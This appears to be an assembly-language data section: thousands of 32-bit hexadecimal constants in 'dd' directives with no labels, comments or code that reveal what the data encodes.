dd 779A4166h, 0F5D50CAh, 640EE09Ch, 473D2080h, 757C255Bh
dd 7F888E00h, 0A614FAFDh, 784A0B10h, 0A804C8Fh, 6D0B735Fh
dd 93054FF2h, 22EC8488h, 0F454B7C0h, 79F07906h, 0FCB76B0h
dd 4E7930F8h, 0FC2D8580h, 1E00C47Eh, 0C24FDAECh, 0A0F786h
dd 27E853BFh, 7C26B549h, 800D0F3Bh, 0CE57036Ah, 7FF64CDh
dd 93536F30h, 7D4B7169h, 3E5A30EAh, 77DB0A16h, 4F8C703h
dd 0A801B874h, 0D09B0044h, 788D102Ah, 4D00E0DFh, 0FA591703h
dd 0AA0D8Eh, 0BA439185h, 7EADB474h, 5510D500h, 0EEB1612Eh
dd 8838002Ah, 9BBDEC85h, 9709DFABh, 5C201656h, 30F90079h
dd 948DE406h, 3E179500h, 5A57CDB9h, 0CFC50312h, 0F455116Ah
dd 3D2A4590h, 0E22E8107h, 0D321B2DBh, 79CCC954h, 7CF300A5h
dd 0D02DC8A4h, 7500241Eh, 0F225AC6Ch, 2C3A7649h, 0A6F697h
dd 70714130h, 69006C13h, 86A9AC63h, 630E6420h, 94FD28F2h
dd 0B202D3D8h, 0B700A0EAh, 0FC8E41F5h, 3C3E96DBh, 0E980D088h
dd 0D20F3510h, 7C1F909Fh, 69C7B78Ch, 1CF093C2h, 0B8F403h
dd 226ECE8h, 352504A1h, 52BCE00h, 0D5D3A79Ch, 0F7BE0011h
dd 0E5971042h, 8203A54Ah, 480EF6C1h, 99D5C019h, 94E701BEh
dd 6186662Ah, 0B8ECF450h, 7D0E1803h, 0B83D22DDh, 2B29Dh
dd 139B5A25h, 5772ACF8h, 0D6E46E00h, 99082788h, 0B24F0324h
dd 3F8A491Fh, 1C714AE0h, 0EF225Ch, 0EF42BD9Ah, 3B09D2h
dd 2ABCAC45h, 8F5BEE1h, 0BA38E407h, 0F8774307h, 0CB30B0D3h
dd 352C883Ah, 362A009Dh, 34283D06h, 74399110h, 677200C0h
dd 62431D70h, 64C30077h, 0A1286D66h, 5C036568h, 8A976318h
dd 12F1A80Bh, 5D405C10h, 6A6E0900h, 8F0E6560h, 2668A000h
dd 1A786255h, 7D7B0067h, 0E4F3DD28h, 0F600BE42h, 7A389514h
dd 0F99A156h, 9BE80435h, 2760A2E0h, 0C5007625h, 0DA49CC1Ah
dd 7FE04890h, 0E6CB0028h, 0EB144F22h, 0DE006A23h, 9025F42Ah
dd 280421BFh, 0A8EAF7h, 0C58B0745h, 94CF77F6h, 41DC490Bh
dd 75B18089h, 63F816h, 64535110h, 77712407h, 700073E6h
dd 62752676h, 777C691Ch, 0F9900029h, 5C244A15h, 6B7F074Ch
dd 57006F7Fh, 197BC728h, 0A02A1405h, 955689h, 24848913h
dd 836AA372h, 0EBF4220Fh, 0BCEFF7h, 4BD79001h, 19200049h
dd 6BC48B7Eh, 0CC0256BAh, 2566B322h, 64D7867Ah, 49E700E2h
dd 5614E350h, 0C800B801h, 130FABCAh, 29ACD8h, 0C32DCE3Bh
dd 276AE45Ch, 21574509h, 9A07D751h, 0A050B72Ah, 0A907ED97h
dd 0B2112B00h, 0AD2F5FE9h, 0CB1B48F7h, 0BB35BC00h, 9FAA141Dh
dd 0D9EE9200h, 46163AF4h, 0A319030Ah, 0CFD8254Fh, 458655F8h
dd 48125B7Ch, 0ED00A60Eh, 401F496Eh, 754A0047h, 13836653h
dd 200107Dh, 0C16AF90Ch, 7FC317h, 4B8142EBh, 2C0AD520h
dd 892F1301h, 0D40708F6h, 0FC64C4ECh, 0F748001Fh, 0DCC31645h
dd 21072EE6h, 0E319920Fh, 31590840h, 31B97A2Bh, 0BFEA3648h
dd 0D0856009h, 0EEFF2800h, 0ADC705Fh, 15890004h, 64A87B0h
dd 2D501245h, 68056ED0h, 0EF82CD8h, 403FB687h, 0D102AAD6h
dd 0BB400293h, 0C855F5E2h, 0BA8560C0h, 75F7CC00h, 48AC955Ah
dd 4AB90013h, 11F4ADD7h, 803908C4h, 4EEC4EC9h, 9884FB14h
dd 10146A00h, 398F32FFh, 395BAB2Ch, 77404E1Dh, 0D920E52Ch
dd 307A45h, 2D83DC05h, 0A10B40C4h, 2B6BE802h, 0E1A32341h
dd 77F01879h, 0D4E00FC7h, 6CA0F82Ah, 5708E999h, 0E152F903h
dd 782A8CEh, 50B814A4h, 5F9E40D5h, 64B8CA4Ch, 68F95E0Fh
dd 332DA083h, 7AB4F001h, 58A7035Ah, 0B82005B5h, 0E02AAAD9h
dd 0FC7050C4h
dd 0A5093Bh, 34058EB4h, 24F397ADh, 4F16A4h, 0E80183B8h
dd 39005E33h, 980A7448h, 161506h, 20135DD1h, 0EFC138EBh
dd 2FFA2400h, 34CA2EA3h, 4479030Eh, 6454231Bh, 0E26E3988h
dd 52DC7C00h, 0E4DAEA32h, 33560071h, 0FB35C810h, 4002C94h
dd 34301C84h, 162238h, 0EFFA8068h, 28E21065h, 3732C400h
dd 0EA9DE860h, 432E00C0h, 74276E61h, 6C00201Dh, 0A64DA6Fh
dd 3FC41A77h, 28731E58h, 18B22C3h, 5A9EFC08h, 0EB540584h
dd 0EC1811E9h, 8D01801Ch, 0F0524F0Ch, 88C05C15h, 83420168h
dd 0F1750AFAh, 7EC06EBDh, 6C9ED5h, 0FF558817h, 82297F3h
dd 0EC832500h, 10111C93h, 5C01750Ch, 213B7F6h, 0C34C002Dh
dd 0A80D03D6h, 18D38400h, 22155F2Fh, 6A6B0320h, 8AA2D55Ch
dd 0CFA132A3h, 37F2F4AFh, 4700EAB8h, 8524F710h, 1482C7h
dd 0CB560B23h, 0C47FBE4Eh, 0C07B0300h, 48C39428h, 1B2500C8h
dd 0B00C5793h, 473B3140h, 224E0053h, 8126A01Ch, 0C3511FBCh
dd 766DC00Bh, 482F680Ah, 1BDEFC01h, 2041A452h, 8D3BE8h
dd 0B8E72490h, 89F89F5Eh, 8A0FFC30h, 0AD6D22h, 77C90576h
dd 833AFBC4h, 9DF00805h, 0B240E8D4h, 1130222Ch, 7C097234h
dd 9F370744h, 2079D5EAh, 0C5B55DF8h, 0C3647200h, 8870B7AAh
dd 5A7C36h, 0F89838FBh, 0D9ED63E9h, 670E8900h, 87F8310h
dd 0EF9200DCh, 0EB755AA9h, 5DFAC244h, 0B2A8DB00h, 0B41B2C34h
dd 431C0736h, 4F8E7630h, 0E0380979h, 0B4009086h, 3EE8B0Eh
dd 8482EDh, 535718EFh, 2019320Bh, 0FCA41400h, 0CDDE752Ah
dd 5E40ED4h, 2C201021h, 34443088h, 0EB382000h, 0DA7E9732h
dd 84F000C4h, 0B4A2EF46h, 0AA00073Dh, 0B7B63FC2h, 482A4Dh
dd 31918757h, 0C39ADFA5h, 770DA900h, 49C2C6E9h, 0FC2E000Ch
dd 1CC7B2C9h, 0D89D0EF7h, 5CE8078Fh, 0F037B1B5h, 7A9D5443h
dd 0A1978200h, 0E4BB8335h, 72321D2Fh, 7BA6009Fh, 95431518h
dd 3A24223Ah, 1F2C3C8Bh, 7E404981h, 4C09A9ABh, 40FC8Dh
dd 1FF752F5h, 0B46B76FFh, 7B81100h, 7A31BC4Bh, 836C0014h
dd 0FF09B068h, 0E0003D5h, 0E0987ED6h, 0EA508D63h, 12723892h
dd 2B2C6B00h, 7DB68E8h, 0D55B3B00h, 6C0251ACh, 0D4055810h
dd 0F825E003h, 33D82A78h, 5E019722h, 7707C4E7h, 0E430EDD0h
dd 13AD002Ch, 0B3034F05h, 0D678A226h, 59957700h, 50408ABBh
dd 9DAC00C7h, 0C42C9B5Dh, 4400E6EBh, 0AA4F453Dh, 1CB0DE92h
dd 801F645Fh, 8E00CB4h, 0DC1F16B8h, 26002C2Ah, 69A6FAFCh
dd 68A0032h, 0EEF17D50h, 5A00EB99h, 20D803BCh, 40C00Ch
dd 5DFEC4D4h, 1DF8C85Bh, 639D7C00h, 62046942h, 16FA009Bh
dd 3640C611h, 0B1002266h, 63144D67h, 38BC5F68h, 1A808D3Ch
dd 0A3F3AC3Eh, 60E62FBh, 8029BB36h, 0F4531B6Ah, 43141D10h
dd 0ED5CE3Ah, 13FCBE0h, 0F0037D89h, 0CDAA0FB0h, 42AB9085h
dd 4EC0128h, 17BF39EBh, 0E488E052h, 63844407h, 0B2E0AAE0h
dd 0F379A27h, 537F5FBAh, 0F081A947h, 8BF3C3B0h, 89E4F007h
dd 9050F6F8h, 0E6720A78h, 41020048h, 646D69A9h, 0BD0033EEh
dd 0ADDCB368h, 22EA54h, 0FC44D815h, 7198A5D4h, 0A18F000h
dd 5EBD7943h, 0D0C80122h, 0D6CCA7F6h, 0DF5F7052h, 6F3D2900h
dd 9B177293h, 0FB5F0024h, 3B052BA3h, 730E0C58h, 250181EFh
dd 7A871942h, 9CC0B544h, 2F3031C7h, 0C37ED92Bh, 3858BF00h
dd 0E636A6h, 0FDBEBA70h, 69ABD42Fh, 78D80D00h, 4F71CCE8h
dd 0BC8D2CEAh, 8BF00032h, 0BF99E455h, 81DE5E3Bh, 0C6AB6BFBh
dd 21E82AE0h, 9D430712h, 90C2C788h, 18E7E4AAh, 1C750500h
dd 45724019h, 0BEBC0117h, 0C9744792h, 8E89305Eh, 1405CC2Ch
dd 1345F500h, 0EC6A6093h, 0F762018Ch, 25F25886h, 0B9830B9h
dd 4F071EEAh, 0AEE83EFFh, 9E369CA0h, 0EC200E4Dh, 5EE02384h
dd 75AD19A9h, 1741090Fh, 70038557h, 29DACC0h, 76DC00E8h
dd 8199101Ah, 0C01DFDF3h, 8B005B07h, 0D619917Fh, 94090022h
dd 0E76AA888h, 2901A263h, 0F5A75DF3h, 4AC41D8Dh, 68530081h
dd 0AD6F8A4h, 94287506h, 0CD00E954h, 0F210B329h, 22CD5A7h
dd 34970D31h, 740F649h, 9B3CCEBCh, 20A28094h, 0E17D41Eh
dd 388700C5h, 3B56422Eh, 0D60028C8h, 1BD29990h, 9876572Dh
dd 4B100059h, 0A5583553h, 0E3000B44h, 523B2C3Dh, 179382Ah
dd 0F469BD16h, 0E45E1739h, 8000BA0Bh, 5261C91Fh, 0EA6FF72h
dd 3D7B2416h, 65AB7160h, 6660233Eh, 0C12BC6E8h, 0C3FCE4h
dd 1653F2D4h, 2F7D044Ch, 8010973Eh, 30A47CBAh, 1BD395Fh
dd 0F886B774h, 0EC66F7B2h, 24003E96h, 135EEC21h, 16878Ah
dd 0FA23D52Fh, 36E8A952h, 58787D90h, 0F2549B00h, 84A30277h
dd 0B96D001Fh, 0AE37FB79h, 3B012711h, 2887A2ECh, 4DF0465Eh
dd 5DAD00B9h, 0B114CE5Ch, 9D0065A1h, 429AC8Eh, 6A13DAh
dd 0A662E756h, 0A4D7471Fh, 5FDF2Dh, 0A062C7Bh, 15E8EDCBh
dd 0C6386084h, 0C6647DE0h, 912871Fh, 0B6EBCD07h, 0FFCFFBF0h
dd 243C00F9h, 2E7FDA91h, 4D5CD293h, 3F070089h, 0B88B08D5h
dd 77A41DDFh, 48A680ABh, 0D011AFA3h, 26B9071Fh, 8458BB40h
dd 3768EB5h, 0FF6B8FE5h, 17A0C321h, 743AE247h, 78A40009h
dd 405BC083h, 597AF3h, 558AC203h, 74B81820h, 28754Ch, 641C9C08h
dd 15D8B97h, 0F851A87Ch, 0FC2494E7h, 0E0175B46h, 0C0000179h
dd 0BA5C1347h, 32DD3A0Ah, 88730D83h, 8A80ED33h, 8DFE2F44h
dd 340571Ch, 282D51Fh, 0E0FD8345h, 0EEF05D1h, 0BD08778Bh
dd 68D5200Bh, 0D0978Eh, 0FD9E5E4Ch, 0F977C4D9h, 96EC1600h
dd 0BE41FC55h, 0A0B01ACh, 0D883061Ah, 0C087617Dh, 5200148Dh
dd 2D974489h, 0CB3D6Ch, 696A2188h, 0F1FA1612h, 1F4AC800h
dd 3A7FF95Bh, 97150089h, 748F2E70h, 3006860h, 0ED754DF0h
dd 4A9142h, 0FD2F1AF9h, 627D7E9Bh, 420358h, 46204788h
dd 89B617h, 8551D687h, 18E00BA1h, 5425BA01h, 0F3137565h
dd 0A5E947EDh, 1117060h, 0A2920D42h, 0E8AB54B9h, 15FCF141h
dd 1CC020FCh, 887A1D94h, 84F40F4Fh, 2FCF2BF5h, 0BD857642h
dd 0F642AA80h, 8A3E957Ah, 0BB3C3Eh, 0D321A2DEh, 0F67D3DF7h
dd 0EF540077h, 9DAF8AFAh, 2976C24Ah, 671C1100h, 0A5BA582Ch
dd 68500762h, 37D7E344h, 132250BBh, 890020FDh, 31C8F09Fh
dd 7730E453h, 9117B28h, 5623F4B7h, 0B2622A8Fh, 0D0E01EF8h
dd 4C76FCC8h, 1628C700h, 875F8902h, 5B791DA9h, 0D28A40F4h
dd 3F71A108h, 0F120AC00h, 510C3730h, 89660013h, 82F0EBC1h
dd 49980901h, 7F59E012h, 0B39DE003h, 3E90F8CFh, 239A0318h
dd 2879AF8Bh, 104593C0h, 0D127E00Eh, 4203800Eh, 33F7024h
dd 254FF066h, 138896D5h, 1C004522h, 270520A8h, 0FF1455h
dd 0D55A56A4h, 0D0A3ABB6h, 0D7E48B00h, 0DA6B78E6h, 625D5C39h
dd 0EDCD600h, 0D0033C50h, 83C2EC3Bh, 9055FE78h, 7C408825h
dd 0F2EE0044h, 10C36003h, 4100D5E8h, 7B78F6EAh, 77FB0220h
dd 0F8E90033h, 7D9A5FCh, 6EC01609h, 71E8F1E0h, 23E0E23h
dd 0F826112Fh, 0B900EE21h, 60751735h, 5CCEEB8h, 9E80E56h
dd 4D9880D7h, 0EB00A67Ah, 0F0752283h, 0C3312Bh, 3BD3A0D0h
dd 327736F2h, 0E7B82000h, 875C48Fh, 0E30E00EFh, 122373D1h
dd 53005079h, 3C4F22AEh, 2A90D4h, 2941A991h, 0D15110A5h
dd 4A384700h, 5C2B590Dh, 9511000Ah, 2ABEE845h, 0C000715h
dd 4C78346h
dd 7053AF1h, 820F1A6Dh, 707A4051h, 0BC3C6FD7h, 5200791Ch
dd 0EF143065h, 0E4D0D40h, 0E3DB3110h, 0D0F71E02h, 85D275h
dd 0D8FA18F2h, 5408B324h, 1E1718E1h, 40CBFEDBh, 0EAE6E297h
dd 5F001EA4h, 72F8D4B5h, 0C4597Fh, 0C026FAB2h, 0E108B8BBh
dd 48743B00h, 0C6DE3780h, 85CA5803h, 7AA74C72h, 2BCD0379h
dd 10EB1ABBh, 6A0683F5h, 0D73529B0h, 5CA5E200h, 14F47970h
dd 2462F6EEh, 0B59428h, 97D103B9h, 4000806Fh, 0FA4AEBC7h
dd 1AC05Dh, 77C33BD9h, 0F23F9220h, 0ECF3CF00h, 0F7901773h
dd 2BD3011Dh, 105D65D0h, 8BBD20B4h, 3A61EB4Ch, 201E00C2h
dd 521572C3h, 537A3E48h, 2157F807h, 0EF64F0E2h, 0A000EEEh
dd 0B075C985h, 390561Eh, 0D8DBB5F3h, 0A788DECBh, 8E12225Dh
dd 0B1F4210h, 9184F740h, 80EA82h, 0FF88325h, 48202CB8h
dd 0F0950200h, 0E6433C9h, 50A75C3Eh, 0D600394Ch, 407E0CE9h
dd 114CFF02h, 80F0756h, 91F6482Eh, 3737566h, 0E888BA8Ch
dd 0F3E8DFA3h, 44C136AFh, 27D49A6Fh, 460BFCh, 56AB2C8Dh
dd 0B6E9434Ah, 23028301h, 80C3692Dh, 1932C280h, 0BC2042C7h
dd 0E19D2C01h, 294A8D4Fh, 208057DAh, 94A958F4h, 0B006DC3Ah
dd 2E5C34E9h, 8776032Fh, 714A0CAh, 21C7ACB8h, 0F048BA76h
dd 0A3A51E5Ch, 172061C0h, 0FF64845Ah, 5E85F8h, 0BBB3274Ah
dd 2E4BEC59h, 0C4102307h, 9A102B74h, 344975h, 143A7E39h
dd 27C3950Fh, 9421AF00h, 22F19DCAh, 93371F5Bh, 0BC6380BFh
dd 4F52740Fh, 1EA23907h, 8880103Dh, 16971Ah, 0C27043B4h
dd 0E9BBE837h, 125A7100h, 0E8FEF50h, 0D868001Ch, 0B3EA42D3h
dd 0A44CB421h, 0B12002Ch, 702EDD1h, 0E2B90083h, 58694A6Ch
dd 0C5005F28h, 5D898F5Ch, 7CF9531Fh, 79A000A8h, 168E4212h
dd 4000738Dh, 0E86D28EBh, 30E18h, 468A109Ch, 6492074Fh
dd 0C7215400h, 896FD2FFh, 269000ACh, 2481F505h, 7F00EA80h
dd 0F7C2AF82h, 0FAEFC9F8h, 5EFF0FC8h, 0A43E0ABh, 47B00270h
dd 9005821h, 6AF8E2E9h, 1616851Fh, 1553C08h, 0F2064369h
dd 0A5EEE012h, 0C9032707h, 0C00687Dh, 0B0F3EC80h, 6750022h
dd 12F3AF8h, 0F0085D7h, 31222F4h, 5CC3FD3Bh, 391C4A1Dh
dd 24CE4043h, 2DD8E83Dh, 3D12EA26h, 47AF4907h, 0F1AE0260h
dd 0C8040054h, 22289121h, 3A00442Fh, 30488A58h, 0EA1B8Bh
dd 3607A133h, 7D162CF1h, 7BEA03FAh, 0B215200h, 88F0C464h
dd 5E4789Dh, 0B1CF71B8h, 8E49C097h, 20009DBh, 8078BEFCh
dd 424412h, 0FE79B7E4h, 387450DAh, 1353126h, 9992803Bh
dd 0C2D4717Eh, 24DD005Bh, 0EBAE3BA0h, 41002CC4h, 823CB988h
dd 5C89CC29h, 63000A65h, 0F3E7B0FAh, 680035A4h, 0A2AEB5DCh
dd 0D15ED4h, 8C38600Bh, 56C3E850h, 8600C1E8h, 13B9E089h
dd 8B5B80h, 0FBC28110h, 0A104D614h, 3BDBDF38h, 774900D2h
dd 0E035FFEEh, 40655C4Bh, 45A4AF00h, 0E989619Ah, 5A046800h
dd 0AB505D28h, 87920758h, 872449A6h, 86B25134h, 3C71F02Bh
dd 7B184D07h, 0C11078A4h, 1D1CCC66h, 143EF8h, 4ED70889h
dd 83006C64h, 2F22098h, 112FC53h, 1C2693F4h, 0F4E7AA85h
dd 73013B1Fh, 8819826Dh, 0C6C81413h, 0C8AB00F7h, 584A4363h
dd 0B01F68EEh, 0CC808732h, 6238788Dh, 0E346074Bh, 0CFAB1875h
dd 4E405861h, 69C9C8CBh, 3E6A5F00h, 2437C48h, 18271E99h
dd 82007C55h, 6132A98h, 4000D7FFh, 8CC3FE11h, 0AD0343h
dd 0F8A83D16h, 2105472Bh, 7EA65400h, 0E90DE790h, 5CC4002Ch
dd 5219BCDAh, 4A00C0EFh, 3684CAFh, 24A4A0h, 0C2E8D649h
dd 28B40743h, 0DD12B501h, 45B85061h, 0E9641E0h, 8AC2379Ah
dd 0D305A6A1h, 7048FDCAh, 0F0324C3h, 4AC894F7h, 8810DB7Fh
dd 0F0FD5F9Fh, 49D00F65h, 0A9230814h, 1C0408Ah, 0F076034Eh
dd 93382B00h, 0B513E67Dh, 1FCD7C82h, 9F3D81F8h, 1C80FA2Ch
dd 7A6E883h, 24E279FAh, 32756600h, 4F84D74Eh, 0FFD50097h
dd 0B4EA3CC4h, 45003417h, 52442168h, 313E065Bh, 4A7854C1h
dd 0FD2CC3Ah, 0A69C8500h, 0DB9A52A7h, 0FCE200D9h, 4BA14634h
dd 2600EB54h, 0C32BA24h, 0EECC0850h, 0F1B207DCh, 9464594Fh
dd 60098010h, 23A8FCBh, 0A1F800A8h, 68672029h, 4FC62C28h
dd 0A9AA01ECh, 0F089D7CCh, 0CF00440Ah, 0B7DC16CEh, 8A0E34h
dd 9A5C217Bh, 74D017D3h, 8206A101h, 0C087E56Ch, 0D8C7D8h
dd 52B1D1ECh, 0E9C34005h, 5300257Ch, 4B22ABC2h, 17E7524h
dd 5A32894Eh, 0E8D0E419h, 297F27A3h, 6AB2F600h, 0A6CA5EA7h
dd 0F4AA0004h, 0BBB06DAFh, 0FA004B79h, 0DC4F34FDh, 0FB577D5h
dd 1DC0CC57h, 41C26CEFh, 5FC04DC2h, 83009872h, 62C6B0CAh
dd 3319AFh, 0E8C7042Ah, 0D40D5AB8h, 8074FF3Dh, 5710DA60h
dd 0F883B903h, 68D00D8h, 8614FD95h, 3500BBD2h, 311D892Bh
dd 2541B9h, 745106A3h, 4E525B03h, 0B293D200h, 1A8F73E8h
dd 0D75313DDh, 699C00BFh, 0CD65C26Dh, 0F4853B00h, 9149C48Dh
dd 30E860h, 739EB292h, 786E7DCBh, 0FAE87000h, 9718B059h
dd 0F47B1EC1h, 83BD872Fh, 4840F18Dh, 0E4ED600Dh, 0A35C1403h
dd 0B988A916h, 56309363h, 0D6970012h, 106A6132h, 607C7DB9h
dd 86901C00h, 89B2EC5h, 0DF81014Ah, 89A1919Eh, 0CC7AE0D3h
dd 220A5360h, 11C3E7h, 31642F0h, 41EC1215h, 0C76A2300h
dd 0B4DA468Ch, 17C00019h, 744A423Ah, 800A80Bh, 3E4C754Bh
dd 3D9B73h, 5D4E8CADh, 0C519EC6Eh, 24145A00h, 0A694C125h
dd 83E002h, 0DC97FC6Dh, 51702CC3h, 69AF000h, 0DE813EF4h
dd 1DE90002h, 29508E25h, 6F00754Fh, 94526796h, 3809BD69h
dd 0A400EA2Fh, 0D87C0782h, 8039E9C4h, 74B0097Dh, 4D560021h
dd 92DB91h, 32EC8F8h, 1150C329h, 5F67440Fh, 5D012005h
dd 3DD5C7h, 260DDAE6h, 824998F5h, 8774A01h, 0D4637550h
dd 0C8D01871h, 1906002Bh, 0E7BCEAC6h, 55006F4Bh, 53705B86h
dd 51F06Bh, 0ABC85E75h, 0D8E5A9B8h, 8500D177h, 4CF2DCEAh
dd 897458h, 0FC66EBD4h, 5D719052h, 85AC8000h, 6A2EC922h
dd 4BEE1C55h, 101E7ED5h, 2BAEC051h, 3C0FDF0h, 689F300h
dd 4C418CAFh, 42670075h, 3399CB1Fh, 0C438C2EFh, 3114804Ah
dd 5E044669h, 4E581E6Ch, 907D8025h, 0B4FE2F0Bh, 1A45DA00h
dd 4293C9CDh, 56290098h, 7C58C399h, 2E00905Ah, 7B05F569h
dd 0E4246EBh, 27754D6Fh, 0D5B00017h, 0A14A858Dh, 17EBF801h
dd 9A92FEB3h, 77A3D9D8h, 0AB4B0367h, 94327866h, 0EED5C490h
dd 0E8194200h, 0C9C7933Ch, 75480FCEh, 0F8E0C6ACh, 94D12E7Dh
dd 2DE18100h, 0AC13B27h, 0CA033D02h, 89080700h, 1E907519h
dd 0C2D37D00h, 20449DBEh, 95C11D05h, 8BD0CEA3h, 6109C380h
dd 0CC00C481h, 0F7F0167Fh, 3AA9D40Ch, 0DCA5D006h, 0E41480D7h
dd 392EE091h, 0E6802466h, 0DFB94B39h, 1F005B82h, 45C63842h
dd 0C4F964h, 83028485h, 60D78A89h, 0FE508200h, 3C70228Bh
dd 0E754009Dh, 0F0EACE64h, 530075DBh, 0CC88FF17h, 7E38E9E2h
dd 5E070C5Ah, 0B6A28304h, 0DE171303h, 0F178FF10h, 2660660Bh
dd 0B0F00Ch, 25FA453Bh, 5CF00D74h, 406C21Fh, 21A9DAC0h
dd 168BDFh, 50176655h, 19458940h, 0B70FF200h, 33310308h
dd 0E94300CCh, 3A3B0A60h, 741E3546h, 36000E67h, 261F0954h
dd 0A03F0095h, 4F665001h, 0B008102h, 0A6F2B752h, 3032FA53h
dd 755E0D45h, 0A9076241h
dd 2AD8A2B9h, 64178ED0h, 1F20047h, 4EEC8238h, 270134F3h
dd 5DC04A8Fh, 1BCD2E6Bh, 1D99DCh, 0EDA5FA29h, 0FBBB6001h
dd 2481660Bh, 1980FF7Dh, 258A2976h, 0A00074F6h, 530DE1FFh
dd 6731579Ch, 50F248D9h, 45B398Eh, 1CF4E83Bh, 6A80803Fh
dd 4E268D0Ah, 4F740008h, 0ED8C03E7h, 7D00E91Eh, 3C51AEE0h
dd 0F1250F6h, 23AB4056h, 9F53D20h, 0FC0101EAh, 22FEC9B3h
dd 0BE88565h, 3AFF450h, 7FF64269h, 20E70E32h, 3C65BE58h
dd 0E7215317h, 0DD121FFFh, 45CF0011h, 13BE0E62h, 0B0D47100h
dd 8C9D4792h, 3CA4070Ch, 5090A303h, 83D5ECBDh, 0AC68501h
dd 52C77853h, 0F854ECh, 50908603h, 4D07E924h, 83376400h
dd 8A84AD2Ah, 91480543h, 0C09B124Ah, 30413201h, 0A8FEA973h
dd 42BAB800h, 15730ADCh, 0C93D0045h, 0DA4B5A1Ch, 57004D82h
dd 3C47E194h, 0CFDC21h, 44D88871h, 0EE39FEC7h, 1AE04A30h
dd 0C55E9h, 9348949Bh, 0B681D291h, 75393Eh, 0AA51F527h
dd 4F42EDh, 0E31224A6h, 0F687477Ch, 10939504h, 7C8014BFh
dd 740A25Ah, 0E802F49Dh, 0F5687791h, 0F856C0DBh, 0D31C25FEh
dd 28DF582Ah, 89F20380h, 2CE4542h, 5C261CC0h, 405D217Eh
dd 183CDC18h, 10352350h, 5F00C212h, 0A18FC32h, 60C48554h
dd 0D031C4D4h, 873C7E1Bh, 4DAF8190h, 0EE41058h, 121760E4h
dd 0BD90ABCh, 0B68F0882h, 3740EBA0h, 523FD655h, 344380A5h
dd 0FC570DDBh, 867F00A8h, 104512B5h, 0CC03FA91h, 0CA73B817h
dd 6BE000E2h, 1182DE4Ah, 55001F62h, 0A48A3E19h, 13399Fh
dd 0B2EBFB54h, 9CB8C26Ch, 81D40938h, 2978064Fh, 58619E11h
dd 0F3AFC8h, 0F7DC2074h, 4CFDE002h, 54112300h, 83D24222h
dd 0D44800C1h, 0C925A7F2h, 0E2021975h, 74A47F72h, 8EC7E0FBh
dd 71F70EB4h, 85E02CF0h, 0E387831Ch, 500002F2h, 0FA16E98Ah
dd 3F930BD1h, 851F8DC3h, 4B14032h, 0A83A1029h, 0A27D3Bh
dd 631277Eh, 3C432Bh, 530C63A1h, 5D93CA24h, 0E01F1FE4h
dd 0FE3BF8h, 0B2830F28h, 308D8Bh, 0E81E4053h, 6B3C1219h
dd 1876B3F6h, 4F07F400h, 8A05C283h, 5F3203F5h, 0FFFA9629h
dd 8625DFB0h, 6A0033FAh, 0F1450B0h, 189F87h, 6F22832Dh
dd 5940EFF7h, 0BC895407h, 0FAB04975h, 0D1C680h, 83740567h
dd 724FBA68h, 0F021D605h, 0F780753Bh, 488063h, 74182D7Bh
dd 0C69F3F3Ch, 8A424B00h, 0D241652Ah, 478100EFh, 17C5625h
dd 6800625Bh, 12F03918h, 1DBDDA1Ch, 0C07FC9A0h, 564767B6h
dd 6A4CFE15h, 340015Bh, 9EC75281h, 772F9CCCh, 0BE053E86h
dd 44CA5900h, 8475F8A7h, 0FC1C400Bh, 0DF3A0953h, 142B080h
dd 743CC23Bh, 226C000Ah, 0F4CF286Eh, 4DE9009Fh, 254013A9h
dd 743AE448h, 0F74A829Dh, 60553899h, 0EB75949h, 611DE1ABh
dd 51889A38h, 790B6603h, 0C88FC743h, 714A610h, 3758E1A5h
dd 0E4069159h, 8EBD4092h, 4D786599h, 0EA058DECh, 0B8E0A02Fh
dd 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h, 21E6AD71h, 0CB9A60CBh
dd 0DBC04D00h, 7C2FBADCh, 63760022h, 5D50EA53h, 691FC973h
dd 5B1FFC96h, 97B89880h, 1F86D71h, 679D18C2h, 0E0E22D24h
dd 7C7F1CD7h, 0ADD45C04h, 4980CDD8h, 74F45969h, 0A5270379h
dd 8867DD25h, 12D865ABh, 5513B2ECh, 20B8D0E5h, 1797EA00h
dd 0F8A53D23h, 15286728h, 0CCB3DF01h, 484666C4h, 2F55DCh
dd 99C76806h, 0AB6E1597h, 54B34B33h, 89DDD8CBh, 0A36800CFh
dd 0DA90E805h, 0B001E2Dh, 71D3A009h, 78F25274h, 12FEB4h
dd 0E15AE659h, 708EC6Bh, 0C71C6300h, 0BF0244F6h, 0C57284h
dd 0E28CB895h, 573FC9E4h, 13B07E00h, 1541FF4Dh, 7B3C0040h
dd 273B9591h, 7800CB69h, 7EFDDA92h, 90C916h, 0D302D088h
dd 49F3D69Dh, 18000574h, 955B1C36h, 24588496h, 28FFF01h
dd 4E1E2B2Eh, 0C1574740h, 2894200h, 598CF986h, 3FFCFAh
dd 78C89F0Ah, 9A4D1025h, 0FD45140h, 53B05297h, 4009EB60h
dd 3500DE2Ah, 8CEEF992h, 1F5888FDh, 43A63C24h, 2149B11h
dd 0D15298D0h, 8034F03Bh, 0B948A2FFh, 0FFC097Bh, 0E946DADCh
dd 4D000D3h, 0D840FD2h, 39EE0200h, 28ECC336h, 768390F6h
dd 0A350008Fh, 1466D4E2h, 3A00D845h, 0DB138D16h, 39A53EBh
dd 0BBD3FBACh, 7BE0B603h, 3C00E340h, 0AB866711h, 0E27D049h
dd 0CF467107h, 801DE800h, 4D7F0326h, 59C11700h, 62478CD5h
dd 3CD91DB6h, 58CE45D2h, 6F2A8066h, 103BBF86h, 233EAC45h
dd 4B074703h, 0B4C7E825h, 8230014h, 0A9A1F9CFh, 70F50212h
dd 2B2C1CBAh, 881D3706h, 1BAC2040h, 0E3D01h, 265A366Bh
dd 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h, 453055Dh, 0E1D79C4Ch
dd 333E818h, 0A4140800h, 0C415BB86h, 582BF01Dh, 5003835Dh
dd 78AD0364h, 0DEB014EBh, 0F1071EA8h, 1832825Eh, 0C04B050h
dd 4C9F05D3h, 80DE7E75h, 83E9D5BEh, 3A1D7B77h, 308F03C9h
dd 9D14020h, 14266Ah, 48A0AC52h, 2C82B718h, 663DFB98h
dd 8A98009Dh, 0C321C954h, 2B8E2699h, 71780158h, 0C4453561h
dd 0AD001238h, 14EB7F33h, 0B2C4396h, 2F847D18h, 90DDC980h
dd 324C826h, 3F17E3FBh, 0A1575A00h, 50CFFD2h, 83CD3B24h
dd 87D30023h, 0F210D455h, 127D600h, 0B018C0F1h, 24C4070Eh
dd 302814BDh, 40CB439h, 0B376871Dh, 0C884B900h, 17E902h
